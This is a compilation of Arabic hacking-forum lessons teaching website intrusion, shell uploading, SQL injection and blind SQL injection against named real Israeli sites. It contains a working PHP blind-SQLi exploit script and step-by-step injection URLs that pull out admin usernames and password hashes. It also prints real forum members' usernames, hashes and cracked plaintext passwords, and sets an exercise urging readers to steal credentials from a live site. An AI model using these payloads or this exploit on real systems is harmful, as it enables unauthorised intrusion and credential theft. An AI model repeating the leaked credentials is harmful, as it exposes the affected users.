7 : الدرس السابع: كيفية اختراق المواقع والمنتديات .. الجزء الأول
الدرس السابع: كيفية اختراق المواقع والمنتديات
الجزأ الأول
طبعا في هذا الدرس سنشرح مبدأيات واساسيات اختراق المواقع بعد ما تعلمنا بالسابق ثغرات ال file include وال sql injection وما شابه
وكوننا فكرة عن اختراق المواقع وتطبيق الثغرات ..
تبقى الفكرة ..
اريد اختراق موقع .. ماذا افعل ..
طبعا جواب هذا السؤال يعتمد على نوع الموقع وميكانيكيته ومحتوياته والسيرفر الذي هو عليه والداتا سنتر احيانا ..
يعني ماذا تفعل يجب ان تجمع اولا بيانات عن الموقع ..
كيف اجمع بيانات عن الموقع ..
أول شيء نقوم بفحص الموقع نفسه من الثغرات
مثلا نبحث عن file include ان كان لدينا ال source code للموقع ..
او نحاول مثلا بمتغيرات معينة التعديل عليها وما شابه
نبحث عن ثغرات ابلود .. اي ثغرات رفع ملفات
طبعا حتى الان نحن نعمل على الموقع نفسه ..
لكن اذا لم تتوفر ثغرة معينة بالموقع نفسه ..
نقوم بالبحث على السيرفر ..
كيف يتم ذلك .؟؟
أول شيء نقوم بتحديد نطاق السيرفر .. اي الاي بي للسيرفر
يمكن تحديده بعمل ping من الدوس
مثلا
C:\Users\Tha2r>ping www.soqor.net Pinging soqor.net [69.162.109.92] with 32 bytes of data: Reply from 69.162.109.92: bytes=32 time=735ms TTL=53 Reply from 69.162.109.92: bytes=32 time=745ms TTL=53 Reply from 69.162.109.92: bytes=32 time=734ms TTL=53 Reply from 69.162.109.92: bytes=32 time=759ms TTL=53 Ping statistics for 69.162.109.92: ****Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: ****Minimum = 734ms, Maximum = 759ms, Average = 743ms C:\Users\Tha2r>
وهنا يكون الاي بي 69.162.109.92
وطبعا بالنسبة لموقع صقور الاي بي خاص 
اي انه لا توجد مواقع اخرى على هذا الاي بي ..
طبعا بالنسبة للمواقع الاخرى بالغالب سيكون هنالك مواقع على نفس الاي بي..
ومن ثم سنستخدم ال www.milw0rm.com
او اي موقع اخر للبحث عن ثغرات في المواقع التي في هذا السيرفر ..
الآن نفترض انه لم نقم بايجاد ثغرة على السيرفر ..
ماذا سنفعل ؟؟
سيتحتم علينا ايجاد بدائل ..
او مثلا عمل تخمين
ولكن اهم نقطة تكمن في الوصول للسيرفر
او ايجاد مدخل على السيرفر
مثل تطبيق ثغرة انكلود
او ثغرة مثل ثغرة الجوملا .. المهم ان نصل لشيل على السيرفر .. واعتقد تطبيق الثغرات شرح بالدروس السابقة
او حتى اكتشاف sql على موقع من مواقع السيرفر تمكننا من الوصول لتحكم موقع وثم البدأ بالولوج للسيرفر
طبعا هذا الدرس مقدمة لانه سيقسم لعدة اجزاء
سلام
6 : الدرس السادس : شرح كيفية استخدام الشيل + رفع الاندكس





5 / 8 : الدرس الخامس ( استخدام ادوات مساعده لتسهيل الاختراق )
الدرس بكل بساطه عنوانه :
SQL inject + find admin cp + login into cp + uploading shell
+
find lost shell
يعني حقن الموقع واستخراج المعلومات اللازمه من اسم المستخدم وكلمه مرور مدير الموقع
+
ايجاد لوحه التحكم
+
الدخول للوحه
+
رفع الشل من لوحه التحكم
+
والاهم من هذا كله هو احدى طرق ايجاد الشل في حال تم رفعه وقام سكربت الرفع في الموقع
بتغيير اسم الشل كيف تستطيع ايجاده !!!!!!!!!!!!!!
وطبعا الدروس
حصريا على صقور الهكرز وليس له مثيل في المنتديات العربيه كلها
ممنوع النقل دون ذكر المصدر
انا شفت بعض الدروس منقوله في عده منتديات دون ذكر المصدر لا ويزيد الطين بله انه يدخل ويسرق الدرس
وبالاخر يكتب انه تعب كثير في الدرس ومحتاج الدعوات والردود ههههههه
مثال على نقل الدرس الاول في الدوره :
http://vb.silence-gate.com/showthread.php?t=20522
ولله في خلقه شؤون !!!!
المهم اخواني الدرس شرح بالفيديو سويته لكم انشالله يفيدكم
وصدقوني للي كرهوا الاختراق عن طريق SQL رح يرجع ويعشقها انشالله بعد هالدرس
وانا شخصيا افضلها عن باقي الثغرات وكل شلاتي على المواقع منها
انا طولت بالمقدمه اعذروني
الدرس للي يحب يشوفه على you tube قمت برفعه لاجلكم علشان الي ما رح يقدر يحمل
هذا الرابط وبجوده عاليه جدا
وهذا رابط اداه البيرل يجب تثبيتها كي يعمل السكربت المرفق بشكل جيد
http://downloads.activestate.com/ActivePerl/Windows/5.8/ActivePerl-5.8.6.811-MSWin32-x86-122208.msi
وهذه الروابط لتحميل الدرس كامل مع الادوات المستخدمه في الشرح على سيرفر محبوب من الجميع
وهذه السيرفرات اخرى وشكرا للاخ رائد على التذكير بهذه السيرفرات واختر السيرفر المفضل لديك
وهذا رابط اللروابط كلها
ويا عمر الدرس فيه اغاني فك السماعات هههههههههههههههههههه
صقور الهكرز ||.!!.M4ST3R.!!.||
بالتوفيق اخواني
سلام
5 / 7 : الدرس الخامس الحقن الأعمى – Blind SQL Injection
هذا النوع من الثغرات منتشر بكثرة إلا أن استغلاله يتطلب جهدا وصبرا أكثر من ثغرة الحقن الاعتيادية..
كعادتنا في الدروس السابقة سيكون فأر التجارب موقعا اسرائيليا (لعنة الله على الصهاينة إلى يوم الدين).
والثغرة موجودة بالمكون التالي :
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search§ionid=20
<span style=\”color:#0000FF\”>طريقة اكتشاف الثغرة :
أولا نضيف and+1=1 ثم نرى النتائج :
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search§ionid=20+and+1=1
| This image has been resized. Click this bar to view the full image. The original image is sized 1280×1024. |

كما في الصورة الصفحة تظهر عادية, جميل جدا.
ثانيا نضيف شيء غير منطقي في الاستعلام مثلا and+1=2 ثم نرى النتيجة :
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search§ionid=20+and+1=2
| This image has been resized. Click this bar to view the full image. The original image is sized 1280×1024. |

كما في الصورة لم تظهر لنا الصفحة السابقة كاملة, إذن الموقع مصاب بثغرة الحقن الأعمى.
أحيانا لا تظهر صورة واحدة أو عدة صور أو أحد المقالات أو أحد العناوين… وهذا يدل على أن الموقع مصاب بثغرة الحقن الأعمى.
لمعرفة نسخة قاعدة البيانات :
نضيف أولا and+substring(@@version,1,1)=4
أي نطبق الاستعلام التالي :
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search§ionid=20+and+substring(@@version,1,1)=4
| This image has been resized. Click this bar to view the full image. The original image is sized 1280×1024. |

ظهرت لنا الصفحة الخاطئة.
الآن نضيف and+substring(@@version,1,1)=5
نطبق الاستعلام التالي :
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search§ionid=20+and+substring(@@version,1,1)=5
| This image has been resized. Click this bar to view the full image. The original image is sized 1280×1024. |

ظهرت لنا الصفحة الصحيحة, إذن يتعلق الأمر بالنسخة الخامسة لقاعدة البيانات.
لكي لا نكرر الصور في بقية الدرس سنسمي الصورة الأولى الصفحة الصحيحة والثانية الصفحة الخاطئة.
الآن نرى هل تعمل subselect :
نضيف and+(select+1)=1
إذن نطبق الاستعلام التالي :
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search§ionid=20+and+(select+1)=1
ظهرت لنا الصفحة الصحيحة إذن subselect تعمل ومن هنا سنرى هل يمكننا القراءة من mysql.user
نطبق الاستعلام التالي :
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search§ionid=20+and+(select+1+from+mysql.user+limit+0,1)=1
لم تظهر لنا الصفحة الصحيحة ولا الخاطئة الاعتيادية, إذن ليس لدينا الصلاحية لقراءة mysql.user ولو كانت لدينا هذه الصلاحية لتمكنا من معرفة الباسوورد واليوزر الذي يستعمل في قاعدة البيانات وذلك باستعمالنا لخاصية load_file() وخاصية OUTFILE
لا بأس سنكمل تطبيقنا رغم أن الطريق لا يزال طويلا لإيجاد اليوزر والهاش..
معرفة الجداول والأعمدة :
لمعرفة الجداول والأعمدة نستعمل التخمين كالتالي :
لنفترض أن اسم الجدول الذي يضم اليوزر هو user, نضيف التالي and+(select+1+from+user+limit+0,1)=1
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search§ionid=20+and+(select+1+from+user+limit 0,1)=1
إذا ظهرت الصفحة الصحيحة يعني أن الجدول user موجود وإذا ظهرت غير ذلك يعني أنه غير موجود ويجب في هذه الحالة وضع تخمين آخر.
بالنسبة للأعمدة نطبق نفس الشيء تقريبا بعد معرفة اسم الجدول (لنفترض أن اسم الجدول الصحيح هو admins) :
نضيف التالي :
and+(select+substring(concat(1,password),1,1)+from admins limit+0,1)=1
إذا ظهرت الصفحة الصحيحة يعني أن العمود password موجود بالجدول admins
الآن هناك طريقة سهلة غير التخمين لمعرفة الجداول والأعمدة :
إذا كان نظام إدارة المحتوى CMS الذي يستعمله الموقع معروف لا حاجة للتخمين لأن أسماء الجداول تكون معروفة ومتداولة.
إذا رأينا سورس كود الصفحة الرئيسية للموقع نجد التالي :
**<meta name=\"generator\" content=\"Joomla! 1.5 - Open Source Content Management\" />
يعني أن نظام إدارة المحتوى هو النظام الشهير Joomla وبالتالي نعرف مسبقا اسم الجداول والأعمدة, سنقوم إذن بالاستعلام من jos_users وسنستعمل أسماء الأعمدة username و password
سأقوم لاحقا إن شاء الله بطرح موضوع جديد لأسماء الجداول والأعمدة لأشهر ال CMS
استخراج اليوزر :
الاستخراج يتم حرفا بحرف وكل حرف يتطلب تجريب العديد من الاستعلامات..
سنقارن تصاعديا كل حرف بالكود أسكي المقابل له. بالنسبة للأعضاء الذين لا يعرفون الكود أسكي يمكنهم الاطلاع على الرابط التالي :
http://ar.wikipedia.org/wiki/%D8%A2%D8%B3%D9%83%D9%8A
استعلام المقارنة يكون على الشكل التالي :
and+ascii(substring((SELECT+username+from+jos_user s+limit 0,1),1,1))>XX
حيث XX هو الكود أسكي للحرف المقارن به.
نطبق الاستعلام الأول :
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search§ionid=20+and+ascii(substring((SELECT+username+from+jos_users+limit 0,1),1,1))>40
الصفحة صحيحة يعني أن الحرف الأول من اليوزر الكود أسكي الخاص به أكبر من 40
نواصل..
نطبق الاستعلام الثاني :
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search§ionid=20+and+ascii(substring((SELECT+username+from+jos_users+limit 0,1),1,1))>41
الصفحة صحيحة يعني أن الحرف الأول من اليوزر الكود أسكي الخاص به أكبر من 41
نواصل..
نطبق الاستعلام الثالث :
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search§ionid=20+and+ascii(substring((SELECT+username+from+jos_users+limit 0,1),1,1))>42
الصفحة خاطئة يعني أن الكود أسكي الخاص بالحرف ليس أكبر من 42 (وأكبر من 41 كما جربنا سابقا) وبالتالي فالكود أسكي الخاص بالحرف الأول من اليوزر هو 42 أي أن الحرف الأول من اليوزر هو *
وأخيرا وجدنا الحرف الأول 
بالنسبة للحرف الثاني نطبق نفس الشيء إلا أن الاستعلام يتغير فيه الرقم ويكون كالتالي :
and+ascii(substring((SELECT+username+from+jos_user s+limit 0,1),2,1))>XX
الاستعلام يكوم صحيحا عند أكبر من 117 :
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search§ionid=20+and+ascii(substring((SELECT+username+from+jos_users+limit 0,1),2,1))>117
ويكون خاطئا عند أكبر من 118
أي أن الكود أسكي الخاص بالحرف الثاني من اليوزر هو 118 وبالتالي الحرف الثاني من اليوزر هو v
وهكذا دواليك نواصل حرفا بحرف إلى أن نحصل على اليوزر كاملا.
بعد عناء طويل ستجدون أن اليوزر هو *vererd*
استخراج الهاش :
بالنسبة ل Joomla CMS الهاش إما MD5 عادي وإما MD5 Salted (يمكنكم الاطلاع على موضوع بقسم فك التشفير والهاش لمعرفة ذلك).
في حالة كون الهاش not salted الهاش يتكون من أرقام وأحرف وبالتالي سيكون مجال الأسكي الذي سنقارن فيه 48-57 ثم 97-102 أما في الحالة الأخرى فيجب استعمال مجال أوسع لأن السالت قد يحتوي على أحرف خاصة.
نطبق الاستعلام الأول :
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search§ionid=20+and+ascii(substring((SELECT+password+from+jos_users+limit 0,1),1,1))>48
الصفحة صحيحة يعني أن الحرف الأول من الهاش الكود أسكي الخاص به أكبر من 48
نواصل..
نطبق الاستعلام الثاني :
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search§ionid=20+and+ascii(substring((SELECT+password+from+jos_users+limit 0,1),1,1))>49
الصفحة صحيحة يعني أن الحرف الأول من الهاش الكود أسكي الخاص به أكبر من 49
نواصل حتى نصل إلى 54 فلا نحصل على صفحة الخطأ ولما نطبق على 55 نحصل عليها يعني أن الحرف الأول من الهاش هو ascii(55) وبالتالي هو 7
بنفس طريقة استخراج اليوزر نواصل حتى نستخرج الهاش كاملا وهو : 71eb8f07ba741f366d3502dccd43e696
الطريقة الأوتوماتيكية :
طبعا لاحظتم أن تطبيق هذه الثغرة يدويا أمر متعب جدا, ولكن يجب أن تعرفوا أصل وطريقة استغلال الثغرة حتى لا تصنفوا من أطفال الهكر الذين يستعملون أدوات الاختراق دون معرفة ماذا تفعل الأداة.
هناك أدوات عديدة مساعدة تقوم بالعمل تلقائيا مثل sqlmap التي يمكنكم تحميلها هنا :
http://sqlmap.sourceforge.net/#download
هناك طريقة أخرى فعالة وهي كتابة سكريبت بسيط ب perl أو PHP أو أي لغة برمجة تتقنونها.
سأعطيكم سكريبت مكتوب ب PHP أستعمله لاستغلال ثغرة الحقن الأعمى وأعدله حسب الحاجة. السكريبت يعمل من PHP from Command line
<?
ini_set(\"max_execution_time\",0);
print_r('
----------------------------------------------------------------------------
- Blind SQL Injection Exploit**********************************************-
- Usage example: php exploit-blind.php \"http://www.site.com/blah.php?id=1\" -
----------------------------------------------------------------------------
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url.\"+and+1=1--\"));
$w = strlen(file_get_contents($url.\"+and+1=0--\"));
$t = abs((100-($w/$r*100)));
echo \"\n Username : \";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url.\"+and+ascii(substring((select+username+from+jos_users+limit+0,1),\".$i.\",1))!=0--\"));
** if (abs((100-($laenge/$r*100))) > $t-1) {
******$count = $i;
******$i = 30;
** }
}
for ($j = 1; $j < $count; $j++) {
** for ($i = 40; $i <= 122; $i=$i+2) {
**** if ($i == 60) {
******** $i = 98;
******}
******$laenge = strlen(file_get_contents($url.\"+and+ascii(substring((select+username+from+jos_users+limit+0,1),\".$j.\",1))%3E\".$i.\"--\"));
****if (abs((100-($laenge/$r*100))) > $t-1) {
******** $laenge = strlen(file_get_contents($url.\"+and+ascii(substring((select+username+from+jos_users+limit+0,1),\".$j.\",1))%3E\".($i-1).\"--\"));
****if (abs((100-($laenge/$r*100))) > $t-1) {
************echo chr($i-1);
******** } else {
************echo chr($i);
******** }
******** $i = 122;
******}
** }
}
echo \"\n Password : \";
for ($j = 1; $j <= 49; $j++) {
** for ($i = 46; $i <= 102; $i=$i+2) {
****if ($i == 60) {
******** $i = 98;
******}
******$laenge = strlen(file_get_contents($url.\"+and+ascii(substring((select+password+from+jos_users+limit+0,1),\".$j.\",1))%3E\".$i.\"--\"));
****if (abs((100-($laenge/$r*100))) > $t-1) {
******** $laenge = strlen(file_get_contents($url.\"+and+ascii(substring((select+password+from+jos_users+limit+0,1),\".$j.\",1))%3E\".($i-1).\"--\"));
****if (abs((100-($laenge/$r*100))) > $t-1) {
************echo chr($i-1);
******** } else {
************echo chr($i);
******** }
******** $i = 102;
******}
** }
}
}
?>
كما أشرت سابقا يمكن التعديل على السكريبت لتغيير اسم الجدول أو لتغيير مجال الأسكي لكي يصبح أسرع أو لكي يعطي السالت الذي يحتوي على الأحرف الخاصة.
تشغيل هذا الاكسبلويت بطيء نسبيا ويتغير حسب سرعة الاتصال وسرعة سيرفر الموقع, يتراوح استخراج اليوزر والهاش من دقيقتين إلى ساعة كاملة.
السكريبت في المرفقات ولتطبيقه على هذا الموقع الذي جربنا عليه يجب تنفيذ الأمر التالي من الكونسول في نظام لينكس أو من الدوس في نظام ويندوز بعد تنصيب البي إتش بي.
php exploit-blind.php \"http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=20\"
أنتهى الدرس أرجوا أن تكونوا قد استفدتم منه ونتمنى أن نرى تطبيقاتكم على مواقع أخرى.
جميع الحقوق محفوظة للكاتب Alkindiii ولمنتديات صقور الهكرز www.soqor.net
** سبحانك لا علم لنا إلا ما علمتنا إنك أنت العليم الحكيم **
تحياتي.
الملفات المرفقة
| exploit_blind.php (2.0 كيلوبايت, المشاهدات 46) |
|
|
5 / 6 : الدرس الخامس : حقن قواعد البيانات sql injection .. ملحق .. تطبيق عملي
بسم الله الرحمن الرحيم
في هذا الدرس سنبدأ بشرح عندما تجد ثغرة SQL injection ما تقوم به بالتفصيل .. وهو مشروح في الدروس السابقة ولكن هذا الدرس تكملة وتطبيق عملي عليهم
اولا مثلا دخلنا موقع حزب كاديما الاسرائيلي
وجدنا روابط
مثلا
http://www.kadima.org.il/Includes/inc_forum.php?kat=4
قمنا باضافة ‘ بعد الرابط
يصبح
http://www.kadima.org.il/Includes/inc_forum.php?kat=4′
ظهر خطأ
إذا يوجد خطأ SQL وسنحاول استغلاله
ولكن اولا سنحاول معرفة عدد الحقول
http://www.kadima.org.il/Includes/inc_foru…-1+order+by+1/*
نبدأ
http://www.kadima.org.il/Includes/inc_foru…=4+order+by+1/*
ظهرت النتائج
نكمل
حتى نصل
http://www.kadima.org.il/Includes/inc_foru…4+order+by+12/*
لم يظهر شيء
اذا عدد الحقول 11
نجرب
http://www.kadima.org.il/Includes/inc_foru…6,7,8,9,10,11/*
طبعا استبدلنا kat=4 الى kat=-4 لأنه اذا بقى على رقم حقل موجود لن يظهر لنا نتيجة
المهم الان
ظهر لنا نتيجة الاستعلام
الان مثلا نستبدل رقم 10
ب version لنرى النتيجة
http://www.kadima.org.il/Includes/inc_foru…,@@version,11/*
النسخة
5.0.45-log
اذا سيمكننا استخدام جدول information_schema
نضع الان الاستعلام بالشكل التالي
لنجرب امكانية الاستعلام
http://www.kadima.org.il/Includes/inc_foru…chema.columns/*
تم ولا يوجد اي مشكلة
الان سنضع بدال
@@version
concat(table_name,char(58),column_name)
وهذا يظهر النتائج كالتالي
table:column
أي سيظهر الجدول : الحقل
يصبح الرابط
http://www.kadima.org.il/Includes/inc_foru…chema.columns/*
الان انظر النتيجة على الصفحة
قد ظهر عنا جميع الحقول والجداول بدون ادنى عناء
الآن نبحث عن جدول نشتبه به انه جدول الادارة وننظر حقوله
وجدنا كثير من الجداول المشابهة
والآن يمكننا الاستعلام من جميع الجداول التي يمكن لهذا المستخدم الوصول لها
طبعا جدول الادارة هنا
tbaccess
والحقول
user
pass
والاستغلال
http://www.kadima.org.il/Includes/inc_foru…from+tbaccess/*
طبعا هنا كلمة المرور غير مشفرة ويبقى عليك ايجاد مسار اللوحة
كانت معي ولكنها تغيرت بعد اخر اختراق
المهم ان تكونو ان شاء الله وصلت لكم المعلومة
ويبقى بعد ذلك ايجاد اللوحة
وكسر الباسوورد ان كان مشفرا !!
واختراقات موفقة
سلام
5 / 5 : الدرس الخامس : حل اختبار حقن قواعد البيانات sql injection
أولا نبارك للعضوين الوحيدين اللذان قاما بحل الأسئلة الخمسة وهما الأخت صفا سوفت والأخ NET-MASTER.
حلول الاختبار مرفقة بصور النتائج هي كالتالي :
س1 : ما هو عدد الأعمدة المصابة وأعط رقم كل عمود
ج 1 : بعد اكتشاف الخطأ ومعرفة عدد الأعمدة بواسطة الأمر order by نستنتج بعد الاستعلام التالي أن عدد الأعمدة المصابة واحد ورقمه 8 ويظهر هذا الرقم بأسفل الصفحة في الرابط التالي.
http://www.kedma.co.il/index.php?id=1916+U…3,14,15,16,17/*
النتيجة في الصورة :

س 2 : ما هو إصدار قاعدة البيانات
ج 2 : الإصدار هو 5.0.45 ونعرفه بعدما نطبق الاستعلام التالي :
http://www.kedma.co.il/index.php?id=1916+U…3,14,15,16,17/*
النتيجة كما ترونها في الصورة :

س 3 : أعط أسماء كل الجداول (tables) الموجودة بقاعدة البيانات
ج 3 : نطبق الاستعلام التالي :
http://www.kedma.co.il/index.php?id=1916+U…schema.tables/*
ونحصل على أسماء الجداول التالية :
CHARACTER_SETS:COLLATIONS:COLLATION_CHARACTER_SET_ APPLICABILITY:COLUMNS:COLUMN_P
RIVILEGES:KEY_COLUMN_USAGE:PROFILING:ROUTINES:SCHE MATA:SCHEMA_PRIVILEGES:STATIST
I
CS:TABLES:TABLE_CONSTRAINTS:TABLE_PRIVILEGES:TRIGG ERS:USER_PRIVILEGES:VIEWS:all_
p
ages:archive:blocked_ip:cat_config:comments:groups :ke_bans:ke_categories:ke_cens
o
ring:ke_config:ke_forum_perms:ke_forums:ke_groups: ke_online:ke_posts:ke_ranks:ke
_
reports:ke_search_cache:ke_search_matches:ke_searc h_words:ke_subscriptions:ke_to
p
ics:languages:links:n_tbl
ld_archive
ages
anels
hpbb_auth_access
hpbb_banli
s
t
hpbb_categories
hpbb_config
hpbb_confirm
hpb b_disallow
hpbb_forum_prune
h
pbb_forums
hpbb_groups
hpbb_posts
hpbb_posts_te xt
hpbb_privmsgs
hpbb_privms
g
s_text
hpbb_ranks
hpbb_search_results
hpbb_sear ch_wordlist
hpbb_search_wordm
a
tch
hpbb_sessions
hpbb_smilies
hpbb_themes
hpb b_themes_name
hpbb_topics
hp
b
b_topics_watch
hpbb_user_group
hpbb_users
hpbb_ vote_desc
hpbb_vote_results
h
pbb_vote_voters
hpbb_words
ictures:tree:users:us ers_back:users_groups
النتيجة في الصورة :

س 4 : يحتوي الموقع على منتدى يضم أكثر من 21000 عضو, المطلوب إيجاد إسم المستخدم وباسوورد العضوين رقم id = 2 و id = 21000
ج 4 : بالنسبة للعضو رقم 2 اسم المستخدم هو kaxz والباسوورد مشفر هو c826cc40ccc7b29569e7158aef690ec4
http://www.kedma.co.il/index.php?id=1916+U…ere+user_id=2–

بالنسبة للعضو رقم 21000 اسم المستخدم هو GlundSal والباسوورد مشفر هو 83b4ef5ae4bb360c96628aecda974200
http://www.kedma.co.il/index.php?id=1916+U…user_id=21000–

س 5 : قم بفك هاش باسوورد العضوين وأعط باسوورد العضوين غير مشفر (plain text)
ج 5 : من خلال نوع المنتدى وإصداره phpBB نستنتج أن الهاش هو md5 عادي (أدخل لقسم فك التشفير والهاش ستجد موضوع عن التشفير الخاص بكل منتدى).
بعد ذلك باستعمال أحد برامج فك الهاش أو الدخول إلى أحد مواقع فك الهاش md5 نجد أن :
c826cc40ccc7b29569e7158aef690ec4 = md5(kaxz)
83b4ef5ae4bb360c96628aecda974200 = md5(147852)
وبالتالي باسوورد العضو kaxz هو kaxz وباسوورد العضو GlundSal هو 147852.
أتمنى أن يكون هذا التمرين مفيدا للكل ونتمنى مزيدا من التفاعل مع الدروس والتطبيقات القادمة.
بالتوفيق للجميع.
تحياتي.
5 / 4 : تطبيق لدروس حقن قواعد البيانات sql injection
الموقع الذي سنطبق عليه هو http://www.kedma.co.il والملف المصاب هو ملف الصفحة الرئيسية index.php
قبل طرح الأسئلة نشير إلى أن بعضها يتطلب بحثا إضافيا (إضافة إلى ما ورد في الدرسين السابقين).
كل عضو سيحاول الإجابة على الأسئلة التالية :
1- ما هو عدد الأعمدة المصابة وأعط رقم كل عمود
2- ما هو إصدار قاعدة البيانات
3- أعط أسماء كل الجداول (tables) الموجودة بقاعدة البيانات
4- يحتوي الموقع على منتدى يضم أكثر من 21000 عضو, المطلوب إيجاد إسم المستخدم وباسوورد العضوين رقم id = 2 و id = 21000
5- قم بفك هاش باسوورد العضوين وأعط باسوورد العضوين غير مشفر (plain text)
سنقوم إن شاء الله بطرح حل الأسئلة بعد خمسة أيام وكذلك قائمة الأعضاء الذين تمكنوا من حلها, وكل عضو تمكن من حل الأسئلة أو بعضها يمكنه مراسلتي على الخاص أو مراسلة Dr.Cr@ck بالأجوبة الصحيحة. نشير إلى أن الأسئلة على الخاص غير مقبولة وكل عضو لديه سؤال يمكنه طرحه في القسم الفرعي المخصص لاستفسارات الدورة حتى يستفيد الجميع.
كما قلت هذا الاختبار يتطلب بعض البحث وليس الاكتفاء بالدروس المعطاة.
لم ينجح أحد حتى الآن في الإجابة على أي سؤال, لذلك سأحاول التبسيط أكثر وسأعطيكم الرقم الصحيح للمتغير وهو id = 1916 وبذلك رابط الثغرة الذي ستطبقون عليه هو :
http://www.kedma.co.il/index.php?id=1916
في الحقيقة هذه حالة خاصة والثغرة غير موجودة في كل قيم المتغير (id) وذلك راجع ربما إلى استعمال بعض الشروط على المتغير id مثل if … elseif وفي بعض الشروط رقعت الثغرة وتركت في أخرى.
في العادة إذا كانت هناك ثغرة تكون موجودة على كل قيم المتغير ويكون الكود غير مفلتر شبيها بهذا المثال :
$result=mysql_query('SELECT * FROM news WHERE id="'.$_GET['id'].'"');
على أي حال ما دام لا يمكنك رؤية سكربت الصفحة ليست هناك قاعدة عامة في مثل هذه الحالات, وأحسن شيء لاكتشاف ثغرات غير تقليدية هي محاولة تخيل الكود الأصلي للصفحة وكيف فكر وأخطأ مبرمج الصفحة.
الآن أصبح الاختبار أسهل ويمكنكم بالتطبيق الحرفي للدرسين السابقين الإجابة على سؤالين أو ثلاثة أسئلة على الأقل.
أنتظر إرسال الإجابات على الخاص, إذا لم ينجح أحد سأحاول التبسيط أكثر.
تحياتي.








